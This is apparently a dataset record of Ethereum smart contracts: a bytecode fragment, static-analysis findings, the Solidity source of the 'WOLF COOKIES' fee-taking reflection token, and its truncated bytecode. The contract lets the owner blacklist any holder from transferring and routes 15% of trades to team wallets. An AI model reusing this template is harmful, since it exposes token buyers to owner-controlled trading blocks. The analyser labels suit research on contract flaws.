546008819055610db8908561108e565b9250600c54831115610ec757610dcf603c8461104d565b91506000610dde83603c61106f565b9050600068056bc75e2d63100000826301e13380600b5486610e00919061106f565b610e0a919061104d565b610e14919061106f565b610e1e919061104d565b90508015610ec4578160086000828254610e389190611035565b90915550506008546001600160a01b038816600090815260036020908152604080832093909355600290529081208054839290610e76908490611035565b925050819055508060056000828254610e8f9190611035565b90915550506040518181526001600160a01b038816906000906000805160206110f78339815191529060200160405180910390a35b50505b610ee8565b6001600160a01b03851660009081526003602052604090208490555b505050505050565b80356001600160a01b0381168114610f0757600080fd5b919050565b600060208284031215610f1e57600080fd5b610f2782610ef0565b9392505050565b60008060408385031215610f4157600080fd5b610f4a83610ef0565b9150610f5860208401610ef0565b90509250929050565b600080600060608486031215610f7657600080fd5b610f7f84610ef0565b9250610f8d60208501610ef0565b9150604084013590509250925092565b60008060408385031215610fb057600080fd5b610fb983610ef0565b946020939093013593505050565b600060208284031215610fd957600080fd5b5035919050565b600060208083528351808285015260005b8181101561100d57858101830151858201604001528201610ff1565b8181111561101f576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611048576110486110e0565b500190565b60008261106a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611089576110896110e0565b500290565b6000828210156110a0576110a06110e0565b500390565b600181811c908216806110b957607f821691505b602082108114156110da57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122051d58555463460c1765e25a23647893cb7eb3dbc5737cebec19e12f092a3e96064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,255
0x5f288784cac0081b8cfdfa04edee587692352db5
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ /** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* WOLF COOKIES http://t.me/wolfcookies */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WOOKIES is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "WOLF COOKIES �"; string private constant _symbol = 'WOOKIES �'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152601081527f574f4c4620434f4f4b49455320efbfbd00000000000000000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612308602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b0316815260208101919091526040016000205491906115ed565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a081611684565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611709565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600b81527f574f4f4b49455320efbfbd000000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a081611769565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054673afb087b876900006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea00000846119b1565b90611a0a565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b815260040180806020018281038252602481526020018061237e6024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806122c56022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123596025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b81526004018080602001828103825260298152602001806123306029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115905760135477010000000000000000000000000000000000000000000000900460ff16156113e3576001600160a01b038316301480159061131657506001600160a01b0382163014155b801561133057506012546001600160a01b03848116911614155b801561134a57506012546001600160a01b03838116911614155b156113e3576012546001600160a01b03166113636110ce565b6001600160a01b0316148061139257506013546001600160a01b03166113876110ce565b6001600160a01b0316145b6113e3576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b6014548111156113f257600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561143457506001600160a01b03821660009081526007602052604090205460ff16155b61143d57600080fd5b6013546001600160a01b03848116911614801561146857506012546001600160a01b03838116911614155b801561148d57506001600160a01b03821660009081526005602052604090205460ff16155b80156114b6575060135477010000000000000000000000000000000000000000000000900460ff165b156114fe576001600160a01b03821660009081526008602052604090205442116114df57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611509306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff1615801561154657506013546001600160a01b03858116911614155b801561156e5750601354760100000000000000000000000000000000000000000000900460ff165b1561158e5761157c81611769565b47801561158c5761158c47611684565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d257506001600160a01b03831660009081526005602052604090205460ff165b156115db575060005b6115e784848484611a4c565b50505050565b6000818484111561167c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611641578181015183820152602001611629565b50505050905090810190601f16801561166e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc61169e836002611a0a565b6040518115909202916000818181858888f193505050501580156116c6573d6000803e3d6000fd5b506011546001600160a01b03166108fc6116e1836002611a0a565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a5482111561174c5760405162461bcd60e51b815260040180806020018281038252602a81526020018061229b602a913960400191505060405180910390fd5b6000611756611b68565b90506117628382611a0a565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606080830184529260208301908036833701905050905030816000815181106117d757fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561184457600080fd5b505afa158015611858573d6000803e3d6000fd5b505050506040513d602081101561186e57600080fd5b505181518290600190811061187f57fe5b6001600160a01b0392831660209182029290920101526012546118a591309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561194457818101518382015260200161192c565b505050509050019650505050505050600060405180830381600087803b15801561196d57600080fd5b505af1158015611981573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b6000826119c057506000610570565b828202828482816119cd57fe5b04146117625760405162461bcd60e51b81526004018080602001828103825260218152602001806122e76021913960400191505060405180910390fd5b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8b565b80611a5957611a59611bf0565b6001600160a01b03841660009081526006602052604090205460ff168015611a9a57506001600160a01b03831660009081526006602052604090205460ff16155b15611aaf57611aaa848484611c22565b611b5b565b6001600160a01b03841660009081526006602052604090205460ff16158015611af057506001600160a01b03831660009081526006602052604090205460ff165b15611b0057611aaa848484611d46565b6001600160a01b03841660009081526006602052604090205460ff168015611b4057506001600160a01b03831660009081526006602052604090205460ff165b15611b5057611aaa848484611def565b611b5b848484611e62565b806115e7576115e7611ea6565b6000806000611b75611eb4565b9092509050611b848282611a0a565b9250505090565b60008183611bda5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611641578181015183820152602001611629565b506000838581611be657fe5b0495945050505050565b600c54158015611c005750600d54155b15611c0a57611c20565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c3487612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611c669088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611c959087612090565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cc490866120d2565b6001600160a01b038916600090815260026020526040902055611ce68161212c565b611cf084836121b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611d5887612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d8a9087612090565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611dc090846120d2565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611cc490866120d2565b600080600080600080611e0187612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e339088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611d8a9087612090565b600080600080600080611e7487612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c959087612090565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611ff357826002600060098481548110611ee457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f495750816003600060098481548110611f2257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f6757600a54683635c9adc5dea0000